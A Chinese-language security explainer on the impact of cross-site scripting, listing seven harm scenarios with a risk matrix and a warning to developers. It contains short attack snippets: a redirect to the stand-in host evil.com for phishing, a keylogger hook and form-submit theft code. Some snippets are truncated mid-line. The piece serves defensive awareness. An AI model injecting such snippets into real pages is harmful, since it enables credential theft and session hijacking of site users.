XSS 攻擊影響面
XSS 允許攻擊者在受害者瀏覽器執行任意 JavaScript,**繞過同源策略 (SOP)**,竊取/操作受害者在目標網域的所有資料與行為。
七大具體危害場景
1. 釣魚欺騙 (Phishing)
- 反射型 XSS 重定向至仿冒登入頁 (`location.href='https://evil.com/phish?return='+location.href`)。
- 注入偽造登入表單 (`document.write('
- DHTML 進階釣魚:動態重寫整頁 DOM,完美偽裝原站 UI。
2. 掛馬 / 惡意軟體分發 (Drive-by Download)
- 隱藏 `
- 彈出惡意下載視窗、偽裝瀏覽器更新提示。
- 利用瀏覽器/插件 0-day (Flash/PDF/字體解析) 靜默植入木馬。
3. 身分盜用 / Session Hijacking (最經典)
- 竊取 `document.cookie` (含 Session ID) → 攻擊者注入自身瀏覽器 → **直接繼承受害者登入狀態**。
- 若受害者為**管理員**,攻擊者獲得**後台最高權限** → 修改內容、植入後門、匯出資料庫、新增管理員帳號。
4. 竊取用戶隱私資料
- 利用竊取的 Cookie/Token 呼叫 API:`/api/user/profile`, `/api/orders`, `/api/messages`。
- 讀取頁面 DOM:身分證、電話、地址、信用卡後四碼、聊天記錄。
5. 垃圾訊息/惡意傳播 (社交蠕蟲前身)
- 在 SNS/論壇/評論區注入腳本:自動發私信、發帖、點贊、關注、轉發惡意連結。
- 利用受害者社交圖譜擴散,形成**信任鏈傳播**。
6. 劫持用戶 Web 行為 (進階)
- 鍵盤記錄:`document.onkeypress = exfil` → 竊取所有輸入 (含密碼、聊天內容)。
- 滑鼠/點擊劫持:透明層覆蓋關鍵按鈕 (轉帳確認、授權按鈕)。
- 表單劫持:`form.addEventListener('submit', e => { steal(e.target); })`。
- 歷史/儲存竊取:`history.length`, `localStorage`, `IndexedDB` 遍歷上傳。
7. XSS 蠕蟲 (自我複製傳播)
- 儲存型 XSS + 自動傳播 Payload (Samy Worm 經典案例)。
- 用途:刷流量/廣告、掛馬、破壞資料、發動 DDoS (受害者瀏覽器成攻擊節點)。
- 傳播速度呈指數級,極難遏制。
影響評估矩陣
| 受害者角色 | 最高風險 |
| 一般用戶 | 帳號被盜、隱私洩露、裝置中毒 |
| 內容創作者/商家 | 聲譽受損、資料竄改、財務損失 |
| 管理員/營運人員 | **全站淪陷、供應鏈攻擊跳板、合規罰款** |
給開發/營運的警示
「XSS 不只是彈窗 `alert(1)`,它是**瀏覽器端的 RCE**。每一個未編碼的輸出點,都是潛在的後門。」
請參考《XSS 修復指南 (ID:133017)》落實三重防線。